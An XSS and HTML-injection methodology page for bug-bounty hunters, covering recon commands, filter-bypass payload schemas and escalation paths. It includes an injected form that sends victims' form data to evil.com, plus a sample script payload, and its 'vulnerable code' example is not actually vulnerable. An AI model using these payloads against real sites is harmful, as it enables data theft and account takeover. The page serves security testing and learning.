githubEdit

XSS-HTML Injection

In the name of God, the Most Gracious, the Most Merciful

What's XSS

XSS, or Cross-Site Scripting, is like a digital illusionist's trick on the web. It occurs when a malicious script is injected into a website, turning it into a stage for hackers. Imagine innocent user input as a Trojan horse, bringing in a hidden script that dances through the site, stealing sensitive information like a phantom in the digital shadows. XSS exploits the trust between websites and users, turning the virtual playground into a stage for unseen mischief. Guarding against this vulnerability is like installing a cybersecurity force field, protecting the online theater from unwanted script-kiddie performances.

Example For Vulnerable code

    <!DOCTYPE html>
    <html>
    <body>
    
    <?php
    $txt = "PHP";
    echo "I love $txt!";
    ?>
    
    </body>
    </html>

Mitigation code

  • Use htmlentities() Function

    <!DOCTYPE html>
    <html>
    <body>
    
    <?php
    $txt = '"><script>alert(0)</script>';
    echo htmlentities("I love $txt!");
    ?>
    
    </body>
    </html>
  • Examples for htmlentities()

    <?php
    $str = "A 'quote' is <b>bold</b>";
    
    // Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
    echo htmlentities($str);
    
    // Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
    echo htmlentities($str, ENT_QUOTES);
    ?>

XSS & HTMLI Testing Methodology

  • Basic Schema <tag handler=code>

  • Advanced Final Schema Try to make you Payloads inspired by this schema this will help you to bypass filters/Bypasses extra1<tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

1) Find a reflection point

  • use gau/waymore to grab all urls and pass them to kxss tool to test reflection echo "domain.com" | gau | kxss | grep ">"

  • Do some Google or any seach engines dorking to find endpoints

  • Navigate to website and try every single function and features with burp/ZAP logging the requests Testing every parameter for relection using Extenstions like "Reflector" or "Reflect"

  • FUZZING parameters using "Param-Miner" and "Arjun and test their reflection

2) Get HTML injection

  • Payloads

HTML Injection Exploitation/Escalationarrow-up-right

  • Open Redirect

  • Setting a Cookie

  • Abuse CSS

  • Stealing Forms Set a form header: <form action='http://evil.com/log_steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker

  • using noscript

3) Get your event handler injected

"When building XSS payloads, some javascript event handlers can be used regardless of the tag used and work on the 5 major browsers until date (Chrome, Firefox, IE/Edge, Safari and Opera) hence the term “agnostic”"

Brute Force Event Handlers

4) Inject JS code

  • h0tak88r XSS

  • Blind XSS Get your blind XSS payloads from https://xss.report/ OR https://xsshunter.trufflesecurity.com/app/#/

Payload list

polyglots

XSS Exploitation

  • Self XSS + CORS = ATO

  • Self XSS to ATO

  • XSS to ATO

  • XSS to RCE

https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/arrow-up-right

  • XSS to LFI

  • XSS to SSRF

  • XSS Via Header Injection

  • XSS to Open Redirect

  • Phishing Via Iframe

  • Remote File Inclusion (RFI) to XSS

  • File upload To XSS

  • XSS via SVG file

DOM XSS

Check for Dom-XSS in Swagger-UI

Example for Vulnerable Code

Exploit

Some Bypasses Techniques

Top XSS reports from HackerOne:

  1. Stored XSS onarrow-up-right https://paypal.com/signinarrow-up-right via cache poisoning to PayPal - 646 upvotes, $18900

  2. Stored XSS in Wiki pagesarrow-up-right to GitLab - 595 upvotes, $4500

  3. Stored XSS on imgur profilearrow-up-right to Imgur - 591 upvotes, $650

  4. XSS in steam react chat clientarrow-up-right to Valve - 453 upvotes, $7500

  5. Blind XSS on image uploadarrow-up-right to CS Money - 407 upvotes, $1000

  6. Stored XSS Vulnerabilityarrow-up-right to WordPress - 394 upvotes, $500

  7. Stored XSS in wordpress.comarrow-up-right to Automattic - 348 upvotes, $650

  8. HEY.com email stored XSSarrow-up-right to Basecamp - 345 upvotes, $5000

  9. XSS while logging using Googlearrow-up-right to Shopify - 325 upvotes, $1750

  10. DOM XSS on duckduckgo.com searcharrow-up-right to DuckDuckGo - 316 upvotes, $0

Cross Site Scripting (XSS) Write_ups

Last updated